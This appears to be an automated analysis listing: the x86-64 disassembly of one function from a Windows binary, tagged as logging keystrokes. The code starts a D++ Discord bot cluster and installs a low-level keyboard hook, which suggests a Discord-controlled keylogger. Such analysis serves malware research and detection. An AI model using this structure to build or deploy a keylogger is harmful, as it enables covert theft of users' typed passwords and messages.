Function at 0x14000a9f0
Capabilities:
Log keystrokes via application hook

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x90
mov rsi, rcx
lea rdx, [0x140010948]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_setlocale]
mov ecx, 0x2a50
call fcn.14000d1e4
mov rbx, rax
mov qword [rsp + 0xa0], rax
movups xmm0, xmmword [0x140010f60]
movaps xmmword [rsp + 0x70], xmm0
mov ecx, dword [0x140010f70]
mov dword [rsp + 0x80], ecx
mov dword [rsp + 0x48], 1
mov dword [rsp + 0x40], 0xc
lea rax, [rsp + 0x70]
mov qword [rsp + 0x38], rax
mov byte [rsp + 0x30], 1
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0x317efd
lea rdx, [0x140015068]
mov rcx, rbx
call qword [sym.imp.dpp.dll_public:_void___cdecl_dpp::cluster::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__unsigned_int__unsigned_int__unsigned_int__unsigned_int__bool__struct_dpp::cache_policy_t__unsigned_int__unsigned_int____ptr64]
lea rax, [0x140010f58]
mov qword [rbx], rax
lea rdi, [rsi + 0x18]
lea rax, [rsp + 0x50]
cmp rdi, rax
je 0x14000aab9
mov rcx, qword [rdi]
mov qword [rdi], rbx
test rcx, rcx
je 0x14000aaca
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
jmp 0x14000aaca
mov rax, qword [0x140010f58]
mov edx, 1
mov rcx, rbx
call rax
mov dl, 1
mov rcx, qword [rdi]
call qword [sym.imp.dpp.dll_public:_void___cdecl_dpp::cluster::start_bool____ptr64]
mov ecx, 0x138
call fcn.14000d1e4
mov qword [rsp + 0xa0], rax
mov rcx, rax
call fcn.140003440
mov rbx, rax
lea rax, [rsi + 0x20]
lea rcx, [rsp + 0x58]
cmp rax, rcx
je 0x14000ab18
mov rdi, qword [rax]
mov qword [rax], rbx
test rdi, rdi
je 0x14000ab32
mov rcx, rdi
call fcn.1400035c0
mov rcx, rdi
jmp 0x14000ab28
test rbx, rbx
je 0x14000ab32
mov rcx, rbx
call fcn.1400035c0
mov rcx, rbx
mov edx, 0x138
call fcn.14000d1d4
mov ecx, 0xe0
call fcn.14000d1e4
mov rbx, rax
mov qword [rsp + 0xa8], rax
mov byte [rax + 0x20], 0
xorps xmm0, xmm0
movups xmmword [rax + 0x28], xmm0
mov qword [rax + 0x38], 0
mov qword [rax + 0x40], 0xf
mov byte [rax + 0x28], 0
lea rcx, [rax + 0x48]
mov edx, 0x102
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
nop
mov qword [rbx + 0x98], 0xffffffffffffffff
lea r8, [rbx + 0xa0]
lea rax, [0x1400108e0]
mov qword [r8], rax
lea rax, [0x1400019a0]
mov qword [r8 + 8], rax
movzx eax, byte [rsp + 0x78]
mov byte [r8 + 0x10], al
mov qword [r8 + 0x18], rbx
mov qword [r8 + 0x38], r8
mov rcx, qword [0x140015c50]
add rcx, 0x38
mov qword [rsp + 0xa0], r8
mov rdx, qword [rcx + 8]
cmp rdx, qword [rcx + 0x10]
je 0x14000abd5
mov qword [rdx], r8
add qword [rcx + 8], 8
jmp 0x14000abe3
lea r8, [rsp + 0xa0]
call fcn.1400025e0
nop
lea rax, [rsi + 0x28]
lea rcx, [rsp + 0x60]
cmp rax, rcx
je 0x14000abfe
mov rdx, qword [rax]
mov qword [rax], rbx
test rdx, rdx
je 0x14000ac06
jmp 0x14000ac01
mov rdx, rbx
call fcn.14000a730
mov ecx, 0x110
call fcn.14000d1e4
mov qword [rsp + 0xa0], rax
mov rcx, rax
call fcn.1400044a0
mov rbx, rax
lea rax, [rsi + 0x30]
lea rcx, [rsp + 0x68]
cmp rax, rcx
je 0x14000ac49
mov rdi, qword [rax]
mov qword [rax], rbx
test rdi, rdi
je 0x14000ac63
mov rcx, rdi
call fcn.140004620
mov rcx, rdi
jmp 0x14000ac59
test rbx, rbx
je 0x14000ac63
mov rcx, rbx
call fcn.140004620
mov rcx, rbx
mov edx, 0x110
call fcn.14000d1d4
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x14000a260]
lea ecx, [r9 + 0xd]
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov qword [0x140015c48], rax
test rax, rax
je 0x14000ac9b
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
lea rcx, [rsp + 0x70]
call fcn.14000ce30
lea rdx, [0x140013248]
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll__CxxThrowException
int3